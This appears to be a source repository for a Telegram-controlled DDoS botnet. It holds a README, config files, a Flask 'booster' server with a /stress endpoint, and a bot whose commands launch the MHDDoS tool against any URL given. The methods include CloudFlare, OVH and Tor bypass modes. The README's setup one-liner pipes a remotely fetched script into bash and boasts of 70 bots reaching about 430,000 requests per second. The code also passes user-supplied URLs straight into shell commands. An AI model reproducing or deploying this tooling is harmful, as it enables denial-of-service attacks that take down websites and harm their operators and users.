├── DDOS_BOOSTER
├── Readme.md
├── requirements.txt
├── glitch.json
└── server.py
├── requirements.txt
├── glitch.json
├── server.py
├── README.md
└── bot.py
/DDOS_BOOSTER/Readme.md:
--------------------------------------------------------------------------------
1 | # Not a bot just host this for boost your ddos without telegram
2 |
--------------------------------------------------------------------------------
/DDOS_BOOSTER/requirements.txt:
--------------------------------------------------------------------------------
1 | Flask
2 | PyRoxy
3 | python-telegram-bot==13.15
4 | requests
5 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | Flask
2 | PyRoxy
3 | python-telegram-bot==13.15
4 | requests
5 | #subprocess
6 | #re
7 |
--------------------------------------------------------------------------------
/glitch.json:
--------------------------------------------------------------------------------
1 | {
2 | "install": "pip3 install --user -r requirements.txt",
3 | "start": "PYTHONUNBUFFERED=true python3 server.py ",
4 | "watch": {
5 | "ignore": [
6 | "\\.pyc$"
7 | ],
8 | "install": {
9 | "include": [
10 | "^requirements\\.txt$",
11 | "^\\.env$"
12 | ]
13 | },
14 | "restart": {
15 | "include": [
16 | "\\.py$",
17 | "^start\\.sh"
18 | ]
19 | },
20 | "throttle": 5000
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/DDOS_BOOSTER/glitch.json:
--------------------------------------------------------------------------------
1 | {
2 | "install": "pip3 install --user -r requirements.txt",
3 | "start": "PYTHONUNBUFFERED=true python3 server.py ",
4 | "watch": {
5 | "ignore": [
6 | "\\.pyc$"
7 | ],
8 | "install": {
9 | "include": [
10 | "^requirements\\.txt$",
11 | "^\\.env$"
12 | ]
13 | },
14 | "restart": {
15 | "include": [
16 | "\\.py$",
17 | "^start\\.sh"
18 | ]
19 | },
20 | "throttle": 5000
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/server.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, render_template
2 | import subprocess
3 | import os
4 | import signal
5 |
6 | app = Flask(__name__)
7 |
8 | bot_process = subprocess.Popen(['python3' , 'bot.py'])
9 |
10 |
11 | def kill_subprocesses():
12 | current_pid = os.getpid()
13 | cmd = f'pgrep -P {current_pid}'
14 | pids = subprocess.check_output(cmd, shell=True).decode().split()
15 | for pid in pids:
16 | try:
17 | os.kill(int(pid), signal.SIGTERM)
18 | except OSError:
19 | pass
20 |
21 |
22 |
23 |
24 | @app.route("/")
25 | def page_web_de_mort():
26 | bot_process
27 | return "
"
28 | #page_web_de_mort()
29 |
30 | @app.route("/kill")
31 | def killswitch():
32 | kill_subprocesses()
33 | p = subprocess.Popen(f'refresh', stdout=subprocess.PIPE, shell=True)
34 | output, error = p.communicate()
35 | bot_process
36 | return "
"
37 | #page_web_de_mort()
38 |
39 |
40 | app.run()
41 |
42 |
43 |
44 | """
45 |
46 | if __name__ == "__main__":
47 | app.run()
48 |
49 | """
50 |
--------------------------------------------------------------------------------
/DDOS_BOOSTER/server.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, render_template, request
2 | import subprocess
3 | import re
4 |
5 | app = Flask(__name__)
6 |
7 | #bot_process = subprocess.Popen(['python3' , 'bot.py'])
8 |
9 | def ddos_start(url):
10 | s= 1500
11 | subprocess.call(f'python3 ~/MHDDoS/start.py GET {url} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
12 |
13 |
14 |
15 |
16 | @app.route("/")
17 | def page_web_de_mort():
18 | # bot_process
19 | return "
"
20 | #page_web_de_mort()
21 |
22 | @app.route("/kill")
23 | def killswitch():
24 | p = subprocess.Popen(f'refresh', stdout=subprocess.PIPE, shell=True)
25 | output, error = p.communicate()
26 | # bot_process
27 | return "
"
28 | #page_web_de_mort()
29 |
30 |
31 | @app.route(f"/stress")
32 | def ddos():
33 |
34 | full_url = str(request.args)
35 | data = full_url.replace("ImmutableMultiDict([('", '')
36 | url = data.replace("', '')])", '')
37 |
38 | print(url)
39 |
40 | ddos_start(url)
41 |
42 | return "
"
43 | #page_web_de_mort()
44 |
45 |
46 | app.run()
47 |
48 |
49 |
50 | """
51 |
52 | if __name__ == "__main__":
53 | app.run()
54 |
55 | """
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DDOS Botnet Sample
2 |
3 | DDOS BotNet for telegram, just make differents version of this bot with differents telegram token (in .env file pls).
4 |
5 | And host it ! (I use [GLITCH](https://glitch.com/dashboard) for simple and free host)
6 |
7 | ## How use it ?
8 |
9 | Just clone the repo on your hosting server, make a .env file with a TELEGRAM_TOKEN variable with your telegram token key,
10 | and make a NUM variable with the name of the bot.
11 |
12 | In the shell of your hosting server make this config command :
13 |
14 | ` /usr/bin/python3 -m pip install --upgrade pip && pip3 uninstall telegram && pip3 uninstall telegram-bot python-telegram-bot && pip3 install -r requirements.txt &&git clone https://github.com/MatrixTM/MHDDoS.git && cd MHDDoS && pip3 install -r requirements.txt && curl -s https://raw.githubusercontent.com/SlavaUkraineSince1991/DDoS-for-all/main/scripts/python_git_MHDDoS_proxy_install.sh | bash && python3 ~/MHDDoS/start.py GET example.com 1 100 mhddos_proxy/list 100 5 `
15 |
16 | Now hit the URL of the bot for start (only if your hosting sleep your project in free mode like Glitch), you can also make a bot for start all other bot.
17 |
18 |
19 | The installation tutorial is not finished, if you have any problems I can help you.
20 |
21 |
22 | [+] NEW ! You can now upgrade your requests/s using my [DDOS BOOSTER !](https://github.com/Mehliug-git/DDOS_Booster) It's just a DDOS bot without Telegram, just get a URL and start DDOS !
23 |
24 | [+] NEW ! : If you just want to test your infrastrucutre open me an Issue and have done this together !!
25 |
26 | **In my Botnet I have actually 70 bots, I can go up to ~ 430 000 requests /s**
27 |
28 |
29 | ### Just for educational purpose only, Do, what you want I don’t give a fuck, but it’s not my fault you’re in trouble.
30 |
31 | ### STOP OPENING ISSUES FOR SHIT
32 |
--------------------------------------------------------------------------------
/bot.py:
--------------------------------------------------------------------------------
1 | """
2 | /usr/bin/python3 -m pip install --upgrade pip
3 | pip3 uninstall telegram && pip3 uninstall telegram-bot python-telegram-bot && pip3 install -r requirements.txt &&git clone https://github.com/MatrixTM/MHDDoS.git && cd MHDDoS && pip3 install -r requirements.txt && curl -s https://raw.githubusercontent.com/SlavaUkraineSince1991/DDoS-for-all/main/scripts/python_git_MHDDoS_proxy_install.sh | bash && python3 ~/MHDDoS/start.py GET panpan-bot1.glitch.me 1 100 mhddos_proxy/list 100 5
4 | """
5 |
6 | import requests
7 | import telegram
8 | #from telegram import Update
9 | from telegram.ext import Updater, CallbackContext, CommandHandler, MessageHandler, Filters
10 | from telegram.update import Update
11 | import re
12 | import os
13 | import subprocess
14 | import concurrent.futures
15 |
16 |
17 | #Telegram token
18 | token = os.getenv('TELEGRAM_TOKEN')
19 | bot_number = os.getenv('NUM')
20 | updater = Updater(token,use_context=True)
21 | s = 360
22 |
23 |
24 | def start(update: Update, context: CallbackContext):
25 | update.message.reply_text(f"DDOS BOT {bot_number}")
26 |
27 |
28 | def tmps(update: Update, context: CallbackContext):
29 | global s
30 | s = update.message.text.replace('/t', '')
31 | update.message.reply_text(f"Ok pour run pour {s} s")
32 |
33 |
34 |
35 |
36 | def ddos_start(url):
37 | subprocess.call(f'python3 ~/MHDDoS/start.py GET {url} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
38 |
39 | def ddos(update: Update, context: CallbackContext):
40 | url = update.message.text.replace('/ddos', '')
41 | update.message.reply_text(f"METHOD: GET L7 THREADS : 400 pour: {s} s")
42 | with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:
43 | futures = []
44 | for _ in url:
45 | futures.append(executor.submit(ddos_start, url))
46 | chat_id = str(update.effective_user.id)
47 |
48 |
49 |
50 |
51 | def google_bot(update: Update, context: CallbackContext):
52 | url = update.message.text.replace('/bot', '')
53 | update.message.reply_text(f"METHOD: BOT L7 THREADS : 400\n\nBOT: Like Google bot pour: {s} s")
54 | url_str = str(url)
55 | print(url_str)
56 | p = subprocess.Popen(f'python3 ~/MHDDoS/start.py BOT {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
57 | output, error = p.communicate()
58 | if error:
59 | update.message.reply_text(f'Erreur : {error.decode()}')
60 | else:
61 | # Divise l'output en plusieurs parties
62 | parts = output.decode().split('\n')
63 |
64 | # Envoie chaque partie de l'output au chat
65 | for part in parts:
66 | chat_id = str(update.effective_user.id)
67 | update.message.bot.send_message(
68 | chat_id = chat_id,
69 | text=part,
70 | disable_web_page_preview=True,
71 | parse_mode='HTML'
72 | )
73 |
74 |
75 | def STRESS(update: Update, context: CallbackContext):
76 | url = update.message.text.replace('/stress', '')
77 | update.message.reply_text(f"METHOD: STRESS L7 THREADS : 400\n\nSTRESS: Send HTTP Packet With High Byte pour: {s} s")
78 | url_str = str(url)
79 | print(url_str)
80 | p = subprocess.Popen(f'python3 ~/MHDDoS/start.py STRESS {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
81 | output, error = p.communicate()
82 | if error:
83 | update.message.reply_text(f'Erreur : {error.decode()}')
84 | else:
85 | # Divise l'output en plusieurs parties
86 | parts = output.decode().split('\n')
87 |
88 | # Envoie chaque partie de l'output au chat
89 | for part in parts:
90 | chat_id = str(update.effective_user.id)
91 | update.message.bot.send_message(
92 | chat_id = chat_id,
93 | text=part,
94 | disable_web_page_preview=True,
95 | parse_mode='HTML'
96 | )
97 |
98 | def CFB(update: Update, context: CallbackContext):
99 | url = update.message.text.replace('/CFB', '')
100 | update.message.reply_text(f"METHOD: CFB L7 THREADS : 400\n\nCFB: CloudFlare Bypass (Ajoute des user-agents) pour: {s} s")
101 | url_str = str(url)
102 | print(url_str)
103 | p = subprocess.Popen(f'python3 ~/MHDDoS/start.py CFB {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
104 | output, error = p.communicate()
105 | if error:
106 | update.message.reply_text(f'Erreur : {error.decode()}')
107 | else:
108 | # Divise l'output en plusieurs parties
109 | parts = output.decode().split('\n')
110 |
111 | # Envoie chaque partie de l'output au chat
112 | for part in parts:
113 | chat_id = str(update.effective_user.id)
114 | update.message.bot.send_message(
115 | chat_id = chat_id,
116 | text=part,
117 | disable_web_page_preview=True,
118 | parse_mode='HTML'
119 | )
120 |
121 | def CFBUAM(update: Update, context: CallbackContext):
122 | url = update.message.text.replace('/CFBUAM', '')
123 | update.message.reply_text(f"METHOD: CFBUAM L7 THREADS : 400\n\nCFBUAM: CloudFlare Under Attack Mode Bypass (Met un referrer : facebook.com//lesite.com ou un site du genre pour bypass) pour: {s} s")
124 | url_str = str(url)
125 | print(url_str)
126 | p = subprocess.Popen(f'python3 ~/MHDDoS/start.py CFBUAM {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
127 | output, error = p.communicate()
128 | if error:
129 | update.message.reply_text(f'Erreur : {error.decode()}')
130 | else:
131 | # Divise l'output en plusieurs parties
132 | parts = output.decode().split('\n')
133 |
134 | # Envoie chaque partie de l'output au chat
135 | for part in parts:
136 | chat_id = str(update.effective_user.id)
137 | update.message.bot.send_message(
138 | chat_id = chat_id,
139 | text=part,
140 | disable_web_page_preview=True,
141 | parse_mode='HTML'
142 | )
143 |
144 | def TOR(update: Update, context: CallbackContext):
145 | url = update.message.text.replace('/tor', '')
146 | update.message.reply_text(f"METHOD: CFB L7 THREADS : 400\n\nTOR: Bypass onion website pour: {s} s")
147 | url_str = str(url)
148 | print(url_str)
149 | p = subprocess.Popen(f'python3 ~/MHDDoS/start.py TOR {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
150 | output, error = p.communicate()
151 | if error:
152 | update.message.reply_text(f'Erreur : {error.decode()}')
153 | else:
154 | # Divise l'output en plusieurs parties
155 | parts = output.decode().split('\n')
156 |
157 | # Envoie chaque partie de l'output au chat
158 | for part in parts:
159 | chat_id = str(update.effective_user.id)
160 | update.message.bot.send_message(
161 | chat_id = chat_id,
162 | text=part,
163 | disable_web_page_preview=True,
164 | parse_mode='HTML'
165 | )
166 |
167 | def OVH(update: Update, context: CallbackContext):
168 | url = update.message.text.replace('/ovh', '')
169 | update.message.reply_text(f"METHOD: OVH L7 THREADS : 400\n\nOVH: Bypass OVH pour: {s} s")
170 | url_str = str(url)
171 | print(url_str)
172 | p = subprocess.Popen(f'python3 ~/MHDDoS/start.py OVH {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
173 | output, error = p.communicate()
174 | if error:
175 | update.message.reply_text(f'Erreur : {error.decode()}')
176 | else:
177 | # Divise l'output en plusieurs parties
178 | parts = output.decode().split('\n')
179 |
180 | # Envoie chaque partie de l'output au chat
181 | for part in parts:
182 | chat_id = str(update.effective_user.id)
183 | update.message.bot.send_message(
184 | chat_id = chat_id,
185 | text=part,
186 | disable_web_page_preview=True,
187 | parse_mode='HTML'
188 | )
189 |
190 |
191 |
192 |
193 | #Trigger des fonctions
194 | updater.dispatcher.add_handler(CommandHandler('t', tmps))
195 |
196 | updater.dispatcher.add_handler(CommandHandler('ddos', ddos))
197 | updater.dispatcher.add_handler(CommandHandler('start', start))
198 | updater.dispatcher.add_handler(CommandHandler('bot', google_bot))
199 | updater.dispatcher.add_handler(CommandHandler('stress', STRESS))
200 | updater.dispatcher.add_handler(CommandHandler('cfb', CFB))
201 | updater.dispatcher.add_handler(CommandHandler('cfbuam', CFBUAM))
202 | updater.dispatcher.add_handler(CommandHandler('tor', TOR))
203 | updater.dispatcher.add_handler(CommandHandler('ovh', OVH))
204 | #Run the bot
205 | updater.start_polling()
206 |
--------------------------------------------------------------------------------